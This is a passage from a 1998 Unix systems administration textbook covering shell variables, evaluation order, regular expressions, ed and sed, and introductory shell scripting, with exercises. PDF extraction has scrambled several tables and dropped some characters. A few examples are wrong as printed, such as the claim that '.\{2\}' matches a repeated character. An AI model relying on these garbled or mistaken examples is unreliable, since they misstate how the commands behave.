As you've seen it is possible to send output or obtain input from a device file. That particular example was fairly boring, here's another.
cat beam.au > /dev/audio

This one sends a sound file to the audio device. The result (if you have a sound card) is that the sound is played.

David Jones, Bruce Jamieson (15/10/98)

Page 114

85321, Systems Administration

Chapter 6: The shell

When not to If you examine the file permissions of the device file /dev/hda1 you'll find that only the root user and the group disk can write to that file. You should not be able to redirect I/O to/from that device file (unless you are the root user). If you could it would corrupt the information on the hard-drive. There are other device files that you should not experiment with. These other device file should also be protected with appropriate file permissions.
/dev/null /dev/null is the UNIX "garbage bin". Any output redirected to /dev/null is thrown away. Any input redirected from /dev/null is empty. /dev/null can

be used to throw away output or create an empty file.

cat /etc/passwd > /dev/null cat > newfile < /dev/null

The last command is one way of creating an empty file. Exercises

6.5

Using I/O redirection how would you perform the following tasks - display the first field of the /etc/passwd file sorted in descending order - find the number of lines in the /etc/passwd file that contain the word
bash

Shell variables
The shell provides a variable mechanism where you can store information for future use. Shell variables are used for two main purposes: shell programming and environment control. This section provides an introduction to shell variables and their use in environment control. A later chapter discusses shell programming in more detail.

Environment control
Whenever you run a shell it creates an environment. This environment includes pre-defined shell variables used to store special values including the format of the prompt the shell will present to you your current path your home directory the type of terminal you are using and a great deal more. Any shell variable you create will be stored within this environment.

David Jones, Bruce Jamieson (15/10/98)

Page 115

85321, Systems Administration

Chapter 6: The shell

The set command

The set command can be used to view you shell's environment. By executing the set command without any parameters it will display all the shell variables currently within your shell's environment.

Using shell variables

There are two main operations performed with shell variables assign a variable a value use a variable's value

Assigning a value
Assigning value to a shell variable is much the same as in any programming language variable_name=value.
my_variable=hello theNum=5 myName="David Jones"

A shell variable can be assigned just about any value, though there are a few guidelines to keep in mind. A space is a shell special character. If you want your shell variable to contain a space you must tell the shell to ignore the space's special meaning. In the above example I've used the double quotes. For the same reason there should never be any spaces around the = symbol.

Accessing a variable's value

To access a shell variable's value we use the $ symbol. The $ is a shell special character that indicates to the shell that it should replace a variable with its value. For example
dinbig$ myName="David Jones" dinbig$ echo My name is $myName My name is David Jones dinbig$ command=ls dinbig$ $command Mail ethics.txt papers dinbig$ echo A$empty: A:

David Jones, Bruce Jamieson (15/10/98)

Page 116

85321, Systems Administration

Chapter 6: The shell

Uninitialised variables
The last command in the above example demonstrates what the value of a variable is when you haven't initialised it. The last command tries to access the value for the variable empty. But because the variable empty has never been initialised it is totally empty. Notice that the result of the command has nothing between the A and the :.

Resetting a variable
It is possible to reset the value of a variable as follows
myName=

This is totally different from trying this

myName=' '

This example sets the value of myName to a space character NOT nothing.

The readonly command

As you might assume the readonly command is used to make a shell variable readonly. Once you execute a command like
readonly my_variable

The shell variable my_variable can no longer be modified. To get a list of the shell variables that are currently set to read only you run the
readonly command without any parameters.

The unset command

Previously you've been shown that to reset a shell variable to nothing as follows
variable=

But what happens if you want to remove a shell variable from the current environment? This is where the unset command comes in. The command
unset variable

Will remove a variable completely from the current environment. There are some restrictions on the unset command. You cannot use unset on a read only variable or on the pre-defined variables IFS, PATH, PS1, PS2

David Jones, Bruce Jamieson (15/10/98)

Page 117

85321, Systems Administration

Chapter 6: The shell

Arithmetic
UNIX shells do not support any notion of numeric data types such as integer or real. All shell variables are strings. How then do you perform arithmetic with shell variables? One attempt might be
dinbig:~$ count=1 dinbig:~$ Rcount=$count+1

But it won't work. Think about what happens in the second line. The shell sees $count and replaces it with the value of that variable so we get the command count=1+1. Since the shell has no notion of an integer data type the variable count now takes on the value 1+1 (just a string of characters).

The expr command

The UNIX command expr is used to evaluate expressions. In particular it can be used to evaluate integer expressions. For example
dinbig:~$ expr 5 + 6 11 dinbig:~$ expr 10 / 5 2 dinbig:~$ expr 5 \* 10 50 dinbig:~$ expr 5 + 6 * 10 expr: syntax error dinbig:~$ expr 5 + 6 \* 10 65

Note that the shell special character * has to be quoted. If it isn't the shell will replace it with the list of all the files in the current directory which results in expr generating a syntax error. Using expr By combining the expr command with the grave character ` we have a mechanism for performing arithmetic on shell variables. For example
count=1 count=`expr $count + 1` expr restrictions

The expr command only works with integer arithmetic. If you need to perform floating point arithmetic have a look at the bc and awk commands. The expr command accepts a list of parameters and then attempts to evaluate the expression they form. As with all UNIX commands the parameters for the expr command must be separated by spaces. If you don't expr interprets the input as a sequence of characters.

David Jones, Bruce Jamieson (15/10/98)

Page 118

85321, Systems Administration

Chapter 6: The shell

dinbig:~$ expr 5+6 5+6 dinbig:~$ expr 5+6 \* 10 expr: non-numeric argument

Valid variable names

Most programming languages have rules that restrict the format of variable names. For the Bourne shell, variable names must start with either a letter or an underscore character, followed by zero or more letters, numbers or underscores

{}
In some cases you will wish to use the value of a shell variable as part of a larger word. Curly braces { } are used to separate the variable name from the rest of the word. For example You want to copy the file /etc/passwd into the directory /home/david. The following shell variables have been defined.
directory=/etc/ home=/home/david

A first attempt might be

cp $directorypasswd $home

This won't work because the shell is looking for the shell variable called directorypasswd (there isn't one) instead of the variable directory. The correct solution would be to surround the variable name directory with curly braces. This indicates to the shell where the variable stops.
cp ${directory}passwd $home

Environment control
Whenever you run a shell it creates an environment in which it runs. This environment specifies various things about how the shell looks, feels and operates. To achieve this the shell uses a number of pre-defined shell variables. Table 6.8 summarises these special shell variables.

David Jones, Bruce Jamieson (15/10/98)

Page 119

85321, Systems Administration

Chapter 6: The shell

Variable name
HOME SHELL UID USER TERM DISPLAY PATH

Purpose your home directory the executable program for the shell you are using your user id your username the type of terminal you are using your X-Windows display your executable path
Table 6 .8 Env ir o nme nt v ar iable s

PS1

and PS2

The shell variables PS1 and PS2 are used to store the value of your command prompt. Changing the values of PS1 and PS2 will change what your command prompt looks like.
dinbig:~$ echo :$PS1: and :$PS2: :\h:\w\$ : and :> : PS2 is the secondary command prompt. It is used when a single command is spread over multiple lines. You can change the values of PS1 and PS2 just like you can any other shell variable. bash

extensions

You'll notice that the value of PS1 above is \h:\w\$ but my command prompt looks like dinbig:~$. This is because the bash shell provides a number of extra facilities. One of those facilities is that it allows the command prompt to contain the hostname \h(the name of my machine) and the current working directory \w. With older shells it was not possible to get the command prompt to display the current working directory.
6.6

Many first time users of older shells attempt to get the command prompt to contain the current directory by trying this PS1=`pwd` The pwd command displays the current working directory. Explain why this will not work. (HINT: When is the pwd command executed?)

Variables and sub-shells

Every time you start a new shell, the new shell will create a new environment separate from its parent's environment. The new shell will not be able to access or modify the environment of its parent shell.

David Jones, Bruce Jamieson (15/10/98)

Page 120

85321, Systems Administration

Chapter 6: The shell

For example
Here's a simple example.
dinbig:~$ myName=david dinbig:~$ echo $myName david dinbig:~$ bash dinbig:~$ echo my name is $myName my name is dinbig:~$ exit dinbig:~$ echo $myName david

create a shell variable use it start a new shell try to use the parent shell's variable exit from the new shell and return to the parent use the variable again

As you can see a new shell cannot access or modify the shell variables of its parent shells. export There are times when you may wish a child or sub-shell to know about a shell variable from the parent shell. For this purpose you use the export command. For example,
dinbig:~$ myName=David Jones dinbig:~$ bash dinbig:~$ echo my name is $myName my name is dinbig:~$ logout dinbig:~$ export myName dinbig:~$ bash dinbig:~$ echo my name is $myName my name is david dinbig:~$ exit

Local variables
When you export a variable to a child shell the child shell creates a local copy of the variable. Any modification to this local variable cannot be seen by the parent process. There is no way in which a child shell can modify a shell variable of a parent process. The export command only passes shell variables to child shells. It cannot be used to pass a shell variable from a child shell back to the parent.

David Jones, Bruce Jamieson (15/10/98)

Page 121

85321, Systems Administration

Chapter 6: The shell

For example
dinbig:~$ echo my name is $myName my name is david dinbig:~$ export myName dinbig:~$ bash dinbig:~$ myName=fred # child shell modifies variable dinbig:~$ exit dinbig:~$ echo my name is $myName my name is david # there is no change in the parent

Advanced variable substitution

The shell provides a number of additional more complex constructs associated with variable substitution. The following table summarises them. Construct
${variable:-value}

${variable:=value} ${variable:?message}

${variable:+value}

Purpose replace this construct with the variable's value if it has one, if it doesn't, use value but don't make variable equal to value same as the above but if variable has no value assign it value replace the construct with the value of the variable if it has one, if it doesn't then display message onto stderr if message is null then display prog: variable: parameter null or not set on stderr if variable has a value replace it with value otherwise do nothing
Adv anc e d Table 6 .9 v ar iable substitutio n

For example
dinbig:~$ myName= dinbig:~$ echo my name is $myName my name is dinbig:~$ echo my name is ${myName:-"NO NAME"} my name is NO NAME dinbig:~$ echo my name is $myName my name is dinbig:~$ echo my name is ${myName:="NO NAME"} my name is NO NAME dinbig:~$ echo my name is $myName my name is NO NAME dinbig:~$ herName= dinbig:~$ echo her name is ${herName:?"she hasn't got a name"} bash: herName: she hasn't got a name dinbig:~$ echo her name is ${herName:?} bash: herName: parameter null or not set

David Jones, Bruce Jamieson (15/10/98)

Page 122

85321, Systems Administration

Chapter 6: The shell

[faile]$ echo ${tmp:?hello there} bash: tmp: hello there In this case the variable $tmp doesn't have a value yet so the shell displays the message "hello there" [faile]$ tmp=fred [faile]$ echo ${tmp:?hello there} fred Now that tmp does have a value the shell displays the value. [faile]$ echo ${tmp2:?} bash: tmp2: parameter null or not set And this is what happens when the variable doesn't have a value and the message is null.

Evaluation order
In this chapter we've looked at the steps the shell performs between getting the user's input and executing the command. The steps include filename substitution I/O redirection variable substitution An important question is in what order does the shell perform these steps?

Why order is important

Look at the following example
dinbig:~$ dinbig:~$ | dinbig:~$ dinbig:~$ Mail News pipe=\| echo $pipe star=\* echo $star README VMSpec.ps.bak acm.bhx acm2.dot

In the case of the echo $start command the shell has seen $star and replaced it with its value *. The shell sees the * and replaces it with the list of the files in the current directory. In the case of the echo $pipe command the shell sees $pipe and replaces it with its value |. It then displays | onto the screen. Why didn't it treat the | as a special character? If it had then echo | would've generated an error message. The reason is related to the order in which the shell performs its analysis of shell special variables.

The order
The order in which the shell performs the steps is I/O redirection variable substitution filename substitution For the command

David Jones, Bruce Jamieson (15/10/98)

Page 123

85321, Systems Administration

Chapter 6: The shell

echo $PIPE

the shell performs the following steps check for any I/O redirection characters, there aren't any, the command line is currently echo $PIPE check for variables, there is one $PIPE, replace it with its value, the command line is now echo | check for any wildcards, there aren't any So it now executes the command echo |. If you do the same walk through for the echo $star command you should see how its output is achieved.

The eval command

What happens if I want to execute the following command
ls $pipe more

using the shell variable pipe from the example above? The intention is that the pipe shell variable should be replaced by its value | and that the | be used to redirect the output of the ls command to the more command. Due to the order in which the shell performs its evaluation this won't work.

Doing it twice
The eval command is used to evaluate the command line twice. eval is a builtin shell command. Take the following command (using the pipe shell variable from above)
eval ls $pipe more

The shell sees the $pipe and replaces it with its value, |. It then executes the eval command. The eval command repeats the shell's analysis of its arguments. In this case it will see the | and perform necessary I/O redirection while running the commands.

Conclusion
The UNIX command line interface is provided by programs called shells. A shell's responsibilities include providing the command line interface performing I/O redirection performing filename substitution performing variable substitution and providing an interpreted programming language
David Jones, Bruce Jamieson (15/10/98) Page 124

85321, Systems Administration

Chapter 6: The shell

A shell recognises a number of characters as having special meaning. Whenever it sees these special characters it performs a number of tasks that replace the special characters. When a shell is executed it creates an environment in which to run. This environment consists of all the shell variables created including a number of predefined shell variables that control its operation and appearance.

Review Questions
6.1 What is the effect of the following command sequences? ls | wc -l rm ??? who | wc -l mv progs/* /usr/steve/backup ls *.c | wc -l rm *.o who | sort cd ; pwd cp memo1 .. ls -l | sort +4n 6.2 What is the output of the following commands? Are there any problems? How would you fix it? echo this is a star * echo ain\\\\'t you my friend echo "** hello **" echo "the output of the ls command is `ls`" echo `the output of the pwd command is `pwd`` 6.3 Which of the following are valid shell variable names? XxXxXxXx _ 12345 HOMEDIR file.name _date file_name x0-9 file1 Slimit

David Jones, Bruce Jamieson (15/10/98)

Page 125

85321, Systems Administration

Chapter 6: The shell

6.4 Suppose your HOME directory is /usr/steve and that you have subdirectory as shown in figure 6.3. Assuming you just logged onto the system and executed the following commands:
docs=/usr/steve/documents let=$docs/letters prop=$docs/proposals

Write commands to do the following using these variables List the contents of the documents directory Copy all files from the letters directory to the proposals directory Move all files with names that contain a capital letter from the letters directory to the current directory. Count the number of files in the memos directory. What would be the effect of the following commands? ls $let/.. cat $prop/sys.A >> $let/no.JSK echo $let/* cp $let/no.JSK $prop cd $prop files_in_prop=`echo $prop*` cat `echo $let\*`

Fig ur e 6 .3 Re v ie w Que stio n

6 .4

David Jones, Bruce Jamieson (15/10/98)

Page 126

85321, Systems Administration

Chapter 7: Text Manipulation

Chapter
Introduction

Text Manipulation

Many of the tasks a Systems Administrator will perform involve the manipulation of textual information. Some examples include manipulating system log files to generate reports and modifying shell programs. Manipulating textual information is something which UNIX is quite good at and provides a number of tools which make tasks like this quite simple, once you understand how to use the tools. The aim of this chapter is to provide you with an understanding of these tools By the end of this chapter you should be familiar with using regular expressions, able to use regular expressions and ex commands to perform powerful text manipulation tasks.

Regular expressions
Regular expressions provide a powerful method for matching patterns of characters. Regular expressions (REs) are understood by a number of commands including ed ex sed awk grep egrep, expr and even vi. Some examples of regular expressions look like include david Will match any occurrence of the word david [Dd]avid Will match either david or David .avid Will match any letter (.) followed by avid ^david$ Will match any line that contains only david d*avid Will match avid, david, ddavid dddavid and any other word with repeated ds followed by avid ^[^abcef]avid$ Will match any line with only five characters on the line, where the last four characters must be avid and the first character can be any character except abcef. Each regular expression is a pattern. That pattern is used to match other text. The simplest example of how regular expressions are used by commands is the grep command.

David Jones, Bruce Jamieson (15/10/98)

Page 127

85321, Systems Administration

Chapter 7: Text Manipulation

The grep command was introduced in a previous chapter and is used to search through a file and find lines that contain particular patterns of characters. Once it finds such a line, by default, the grep command will display that line onto standard output. In that previous chapter you were told that grep stood for global regular expression pattern match. Hopefully you now know what a regular expression is. This means that the patterns that grep searches for are regular expressions. The following are some example command lines making use of the grep command and regular expressions grep unix tmp.doc find any lines contain unix grep '[Uu]nix' tmp.doc find any lines containing either unix or Unix. Notice that the regular expression must be quoted. This is to prevent the shell from treating the [] as shell special characters and performing file name substitution. grep '[^aeiouAEIOU]*' tmp.doc Match any number of characters that do not contain a vowel. grep '^abc$' tmp.doc Match any line that contains only abc. grep 'hel.' tmp.doc Match hel followed by any other character.

REs versus filename substitution

It is important that you realise that regular expressions are different from filename substitution. If you look in the previous examples using grep you will see that the regular expressions are sometimes quoted. One example of this is the command
grep '[^aeiouAEIOU]*' tmp.doc

Remember that [^] and * are all shell special characters. If the quote characters () were not there the shell would perform filename substitution and replace these special characters with matching filenames. In this example command we do not want this to happen. We want the shell to ignore these special characters and pass them to the grep command. The grep command understands regular expressions and will treat them as such. Regular expressions have nothing to do with filename substitution, they are in fact completely different. Table 7.1 highlights the differences between regular expressions and filename substitution.

David Jones, Bruce Jamieson (15/10/98)

Page 128

85321, Systems Administration

Chapter 7: Text Manipulation

Filename substitution Performed by the shell used to match filenames

Re g ular

Regular expressions Performed by individual commands Used to match patterns of characters in data files
Table 7 .1 v e r sus file name substitutio n

e xpr e ssio ns

How they work

Regular expressions use a number of special characters to match patterns of characters. Table 7.2 outlines these special characters and the patterns they match. Character
c

\ . ^ $ * [chars] [^chars]

Matches if c is any character other than \ [ . * ^ ] $ then it will match a single occurrence of that character remove the special meaning from the following character any one character the start of a line the end of a line 0 or more matches of the previous RE any one character in chars a list of characters any one character NOT in chars a list of characters
Re g ular Table 7 .2 e xpr e ssio n c har ac te r s

Exercises
7.1

What will the following simple regular expressions match? fred [^D]aily ..^end$ he..o he\.\.o \$fred $fred

Extensions to regular expressions

Regular expressions are one area in which the heterogeneous nature of UNIX becomes apparent. Regular expressions can be divided into a number of different categories. Different programs on different platforms recognise different subsets of regular expressions.

David Jones, Bruce Jamieson (15/10/98)

Page 129

85321, Systems Administration

Chapter 7: Text Manipulation

Under Linux the commands that use regular expressions recognise three basic flavours of regular expressions basic regular expressions, Those listed in Table 7.2 plus the tagging concept introduced below. extended regular expressions, and Basic REs plus some additional constructs from Table 7.3. command specific extensions. For example, under Linux sed recognises two additions to REs. Extended regular expressions add the symbols in Table 7.3 to regular expressions. Construct
+ ? | \{n\} \{n,\} \{n, m\}

Purpose match one or more occurrences of the previous RE match zero or one occurrences of the previous RE match either one of two REs separated by the | match exactly n occurrences of the previous RE match at least n occurrences of the previous RE match between n and m occurrences of the previous RE
Exte nde d Table 7 .3 r e g ular e xpr e ssio ns

Examples
Some examples with extended REs include egrep 'a?' pattern Match any line from pattern with 0 or 1 a's. (all lines in pattern) egrep '(a|b)+' pattern Match any line that contains one more occurrences of an a or a b egrep '.\{2\}' pattern Match any line that contains the same two characters in a row. egrep '.\{2,\}' pattern Match any line that contains at least two of the same character in a row.

Exercises
7.2

Write grep commands that use REs to carry out the following. 1. Find any line starting with j in the file /etc/passwd (equivalent to asking to find any username that starts with j). 2. Find any user that has a username that starts with j and uses bash as their login shell (if they use bash their entry in /etc/passwd will end with the full path for the bash program). 3. Find any user that belongs to a group with a group ID between 0 and 99 (group id is the fourth field on each line in /etc/passwd).
Page 130

David Jones, Bruce Jamieson (15/10/98)

85321, Systems Administration

Chapter 7: Text Manipulation

Tagging
Tagging is an extension to regular expressions which allows you to recognise a particular pattern and store it away for future use. For example, consider the regular expression
da\(vid\)

The portion of the RE surrounded by the \( and \) is being tagged. Any pattern of characters that matches the tagged RE, in this case vid, will be stored in a register. The commands that support tagging provide a number of registers in which character patterns can be stored. It is possible to use the contents of a register in a RE. For example,
\(abc\)\1\1

The first part of this RE defines the pattern that will be tagged and placed into the first register (remember this pattern can be any regular expression). In this case the first register will contain abc. The 2 following \1 will be replaced by the contents of register number 1. So this particular example will match abcabcabc. The \ characters must be used to remove the other meaning which the brackets and numbers have in a regular expression.

For example
Some example REs using tagging include \(david\)\1 This RE will match daviddavid. It first matches david and stores it into the first register (\(david\)). It then matches the contents of the first register (\1). \(.\)oo\1 Will match words such as noon, moom. For the remaining RE examples and exercises I'll be referring to a file called pattern. The following is the contents of pattern.
a hellohello goodbye friend how hello there how are you how are you ab bb aaa lll Parameters param

David Jones, Bruce Jamieson (15/10/98)

Page 131

85321, Systems Administration

Chapter 7: Text Manipulation

Exercises
7.3

What will the following commands do

grep '\(a\)\1' pattern grep '\(.*\)\1' pattern grep '\( .*\)\1' pattern

ex, ed, sed

and vi

So far youve been introduced to what regular expressions do and how they work. In this section you will be introduced to some of the commands which allow you to use regular expressions to achieve some quite powerful results. In the days of yore UNIX did not have full screen editors. Instead the users of the day used the line editor ed. ed was the first UNIX editor and its impact can be seen in commands such as sed, awk, grep and a collection of editors including ex and vi.
vi was written by Bill Joy while he was a graduate student at the University of

California at Berkeley (a University responsible for many UNIX innovations). Bill went on to do other things including being involved in the creation of Sun Microsystems.
vi is actually a full-screen version of ed. Whenever you use :wq to save and quit out of vi you are using a ed command.

So???
All very exciting stuff but what does it mean to you a trainee Systems Administrator? It actually has at least three major impacts by using vi you can become familiar with the ed commands ed commands allow you to use regular expressions to manipulate and modify text those same ed commands, with regular expressions, can be used with sed to perform all these tasks non-interactively (this means they can be automated).

Why use ed?

Why would anyone ever want to use a line editor like ed? Well in some instances the Systems Administrator doesn't have a choice. There are circumstances where you will not be able to use a full screen editor like vi. In these situations a line editor like ed or ex will be your only option. One example of this is when you boot a Linux machine with installation boot and root disks. These disks usually don't have space for a full screen editor but they do have ed.

David Jones, Bruce Jamieson (15/10/98)

Page 132

85321, Systems Administration

Chapter 7: Text Manipulation

ed

commands

ed is a line editor that recognises a number of commands that can manipulate text. Both vi and sed recognise these same commands. In vi whenever you use the : command you are using ed commands. ed commands use the

following format.
[ address [, address]] command [parameters]

(you should be aware that anything between [] is optional) This means that every ed command consists of 0 or more addresses that specify which lines the command should be performed upon, a single character command, and an optional parameter (depending on the command) For example Some example ed commands include 1,$s/old/new/g The address is 1,$ which specifies all lines. The command is the substitute command. With the following text forming the parameters to the command. This particular command will substitute all occurrences of the work old with the word new for all lines within the current file. 4d3 The address is line 4. The command is delete. The parameter 3 specifies how many lines to delete. This command will delete 3 lines starting from line 4. d Same command, delete but no address or parameters. The default address is the current line and the default number of lines to delete is one. So this command deletes the current line. 1,10w/tmp/hello The address is from line 1 to line 10. The command is write to file. This command will write lines 1 to 10 into the file /tmp/hello The current line The ed family of editors keep track of the current line. By default any ed command is performed on the current line. Using the address mechanism it is possible to specify another line or a range of lines on which the command should be performed. Table 7.4 summarises the possible formats for ed addresses.

David Jones, Bruce Jamieson (15/10/98)

Page 133

85321, Systems Administration

Chapter 7: Text Manipulation

Address
. $

7 a /RE/
?RE?

Address+n Address-n Address1, address2 ,

;

Purpose the current line the last line line 7, any number matches that line number the line that has been marked as a the next line matching the RE moving forward from the current line the next line matching the RE moving backward from the current line the line that is n lines after the line specified by
address

the line that is n lines before the line specified by

address

a range of lines from address1 to address2 the same as 1,$, i.e. the entire file from line 1 to the last line ($) the same as .,$, i.e. from the current line (.) to the last line ($)
ed
Table 7 .4 addr e sse s

ed commands

Regular users of vi will be familiar with the ed commands w and q (write and quit). ed also recognises commands to delete lines of text, to replace characters with other characters and a number of other functions. Table 7.5 summarises some of the ed commands and their formats. In Table 7.5 range can match any of the address formats outlined in Table 7.4.

David Jones, Bruce Jamieson (15/10/98)

Page 134

85321, Systems Administration

Chapter 7: Text Manipulation

Address
linea range d buffer count

range j count

Purpose the append command, allows the user to add text after line number line the delete command, delete the lines specified by range and count and place them into the buffer buffer the join command, takes the lines
specified by range and count and makes them one line

line r file

quit the read command, read the

contents of the file file and place them after the line line

sh

range s/RE/characters/options

start up a new shell the substitute command, find any

characters that match RE and replace them with characters but only in the range specified by range the undo command, the write command, write to the file file all the lines specified by range

u range w file

ed

Table 7 .5 c o mmands

For example
Some more examples of ed commands include 5,10s/hello/HELLO/ replace the first occurrence of hello with HELLO for all lines between 5 and
10

5,10s/hello/HELLO/g replace all occurrences of hello with HELLO for all lines between 5 and 10 1,$s/^\(.\{20,20\}\)\(.*\)$/\2\1/ for all lines in the file, take the first 20 characters and put them at the end of the line The last example The last example deserves a bit more explanation. Let's break it down into its components 1,$s The 1,$ is the range for the command. In this case it is the whole file (from line 1 to the last line). The command is substitute so we are going to replace some text with some other text. /^ The / indicates the start of the RE. The ^ is a RE pattern and it is used to match the start of a line (see Table 7.2).

David Jones, Bruce Jamieson (15/10/98)

Page 135

85321, Systems Administration

Chapter 7: Text Manipulation

\(.\{20,20\}\) This RE fragment .\{20,20\} will match any 20 characters. By surrounding it with \( \) those 20 characters will be stored in register 1. \(.*\)$ The .* says match any number of characters and surrounding it with \( \) means those characters will be placed into the next available register (register 2). The $ is the RE character that matches the end of the line. So this fragment takes all the characters after the first 20 until the end of the line and places them into register 2. /\2\1/ This specifies what text should replace the characters matched by the previous RE. In this case the \2 and the \1 refer to registers 1 and 2. Remember from above that the first 20 characters on the line have been placed into register 1 and the remainder of the line into register 2.

The sed command

sed is a non-interactive version of ed. sed is given a sequence of ed commands

and then performs those commands on its standard input or on files passes as parameters. It is an extremely useful tool for a Systems Administrator. The ed and vi commands are interactive which means they require a human being to perform the tasks. On the other had sed is non-interactive and can be used in shell programs which means tasks can be automated.
sed

command format

By default the sed command acts like a filter. It takes input from standard input and places output onto standard output. sed can be run using a number of different formats.
sed command [file-list] sed [-e command] [-f command_file] [filelist]

command is one of the valid ed commands.

The -e command option can be used to specify multiple sed commands. For example,
sed e '1,$s/david/DAVID/' e '1,$s/bash/BASH/' /etc/passwd

The -f command_file tells sed to take its commands from the file command_file. That file will contain ed commands one to a line. For example Some of the tasks you might use sed for include change the username DAVID in the /etc/passwd to david for any users that are currently using bash as their login shell change them over to the csh.

David Jones, Bruce Jamieson (15/10/98)

Page 136

85321, Systems Administration

Chapter 7: Text Manipulation

You could also use vi or ed to perform these same tasks. Note how the / in /bin/bash and /bin/csh have been quoted. This is because the / character is used by the substitute command to split the text to find and the text to replace it with. It is necessary to quote the / character so ed will treat it as a normal character.
sed 's/DAVID/david/' /etc/passwd sed 's/david/DAVID/' -e 's/\/bin\/bash/\/bin\/csh/' /etc/passwd sed -f commands /etc/passwd

The last example assumes that there is a file called commands that contains the following
s/david/DAVID/ s/\/bin\/bash/\/bin\/csh/

Exercises
7.4

7.5

Perform the following tasks with both vi and sed. You have just written a history of the UNIX operating system but you referred to UNIX as unix throughout. Replace all occurrences of unix with UNIX You've just written a Pascal procedure using Write instead of Writeln. The procedure is part of a larger program. Replace Write with Writeln for all lines between the next occurrence of BEGIN and the following END When you forward a mail message using the elm mail program it automatically adds > to the beginning of every line. Delete all occurrences of > that start a line. What do the following ed commands do?
.+1,$d 1,$s/OSF/Open Software Foundation/g 1,/end/s/\([a-z]*\) \([0-9]*\)/\2 \1/

7.6

What are the following commands trying to do? Will they work? If not why not?
sed e 1,$s/^:/fred:/g /etc/passwd sed '1,$s/david/DAVID/' '1,$s/bash/BASH/' /etc/passwd

Conclusions
Regular expressions (REs) are a powerful mechanism for matching patterns of characters. REs are understood by a number of commands including vi, grep, sed, ed, awk and Perl.
vi is just one of a family of editors starting with ed and including ex and sed. This entire family recognise ed commands that support the use of regular

expressions to manipulate text.

David Jones, Bruce Jamieson (15/10/98)

Page 137

85321, Systems Administration

Chapter 7: Text Manipulation

Review Questions
7.1 You have been given responsibility for maintaining the 85321 WWW pages. These pages are spread through a large collection of directories and subdirectories. There are some modifications that must be made. Write commands using your choice of awk, sed , find or vi to change the extensions of all .html files to .htm where ever bl_ball.gif appears in a file, change it to rd_ball.gif move all the files that haven't been modified for 28 days into the /usr/local/old directory count the number of times the word 85321 occurs in all files ending in
.html

7.2 It is often the case that specific users on a system continually use too much disk space. There are a number of solutions to this problem including quotas (talked about in a later chapter). In the meantime you are going to implement another solution along the following lines. Maintain a file called disk.hog, each line of this file contains a username and the amount of disk space they are allowed to have. For example
jonesd 50000 okellys 10

Write a script called find_hog that is run once a day and performs the following tasks for each user in disk.hog discover how much disk space they are using if the amount of disk space exceeds the allowed amount write their username to a file offender Hints: User's should only own files under their home directory. The command du -s directoryname can be used to find out how much disk space the directory directoryname and all its child directories use. The file /etc/passwd records the home directory for each user. 7.3 Use vi and awk to perform the following tasks with the file 85321.txt (the student numbers have been changed to protect the innocent). This file is available from the 85321 Web site/CD-ROM under the resource materials section for week 3. Unless specified assume each task starts with the original file. remove the student number switch the order for first name, last name remove any student with the name david 7.4
David Jones, Bruce Jamieson (15/10/98) Page 138

85321, Systems Administration

Chapter 7: Text Manipulation

Write commands to perform the four tasks outlined in the introduction to this chapter. They were calculate how much disk space each user is using calculate the amount of time each user has spent logged in (try the command last username and see what happens) delete all the files owned by a particular user (be careful doing this one) find all the files that are setuid

David Jones, Bruce Jamieson (15/10/98)

Page 139

85321, Systems Administration

Chapter 8: Shell Programming

Chapter
Introduction
Shell Programming - WHY?

Shell Programming

While it is very nice to have a shell at which you can issue commands, have you had the feeling that something is missing? Do you feel the urge to issue multiple commands by only typing one word? Do you feel the need for variables, logic conditions and loops? Do you strive for automation? If so, then welcome to shell programming. (If you answered no to any of the above then you are obviously in the wrong frame of mind to be reading this - please try again later :) Shell programming allows system administrators (and users) to create small (and occasionally not-so-small) programs for various purposes including automation of system administration tasks, text processing and installation of software.

Shell Programming - WHAT?

A shell program (sometimes referred to as a shell script) is a text file containing shell and UNIX commands. Remember - a UNIX command is a physical program (like cat, cut and grep) where as a shell command is an interpreted command - there isnt a physical file associated with the command; when the shell sees the command, the shell itself performs certain actions (for example, echo) When a shell program is executed the shell reads the contents of the file line by line. Each line is executed as if you were typing it at the shell prompt. There isn't anything that you can place in a shell program that you can't type at the shell prompt. Shell programs contain most things you would expect to find in a simple programming language. Programs can contain services including: variables logic constructs (IF THEN AND OR etc) looping constructs (WHILE FOR) functions comments (strangely the most least used service)

David Jones and Bruce Jamieson (15/10/98)

Page 140

85321, Systems Administration

Chapter 8: Shell Programming

The way in which these services are implemented is dependant on the shell that is being used (remember - there is more than one shell). While the variations are often not major it does mean that a program written for the bourne shell (sh/bash) will not run in the c shell (csh). All the examples in this chapter are written for the bourne shell.

Shell Programming - HOW?

Shell programs are a little different from what you'd usually class as a program. They are plain text and they don't need to be compiled. The shell "interprets" shell programs - the shell reads the shell program line by line and executes the commands it encounters. If it encounters an error (syntax or execution), it is just as if you typed the command at the shell prompt - an error is displayed. This is in contrast to C/C++, Pascal and Ada programs (to name but a few) which have source in plain text, but require compiling and linking to produce a final executable program. So, what are the real differences between the two types of programs? At the most basic level, interpreted programs are typically quick to write/modify and execute (generally in that order and in a seemingly endless loop :). Compiled programs typically require writing, compiling, linking and executing, thus are generally more time consuming to develop and test. However, when it comes to executing the finished programs, the execution speeds are often widely separated. A compiled/linked program is a binary file containing a collection direct systems calls. The interpreted program, on the other hand, must first be processed by the shell which then converts the commands to system calls or calls other binaries - this makes shell programs slow in comparison. In other words, shell programs are not generally efficient on CPU time. Is there a happy medium? Yes! It is called Perl. Perl is an interpreted language but is interpreted by an extremely fast, optimised interpreter. It is worth noting that a Perl program will be executed inside one process, whereas a shell program will be interpreted from a parent process but may launch many child processes in the form of UNIX commands (ie. each call to a UNIX command is executed in a new process). However, Perl is a far more difficult (but extremely powerful) tool to learn - and this chapter is called "Shell Programming"...

The Basics
A Basic Program
It is traditional at this stage to write the standard "Hello World" program. To do this in a shell program is so obscenely easy that we're going to examine something a bit more complex - a hello world program that knows who you are...
David Jones and Bruce Jamieson (15/10/98) Page 141

85321, Systems Administration

Chapter 8: Shell Programming

To create your shell program, you must first edit a file - name it something like "hello", "hello world" or something equally as imaginative - just don't call it "test" - we will explain why later. In the editor, type the following:
#!/bin/bash # This is a program that says hello echo "Hello $LOGNAME, I hope you have a nice day!"

(You may change the text of line three to reflect your current mood if you wish) Now, at the prompt, type the name of your program - you should see something like:
bash: ./helloworld: Permission denied

Why? The reason is that your shell program isn't executable because it doesn't have its execution permissions set. After setting these (Hint: something involving the chmod command), you may execute the program by again typing its name at the prompt. An alternate way of executing shell programs is to issue a command at the shell prompt to the effect of:
<shell> <shell program>

eg
bash helloworld

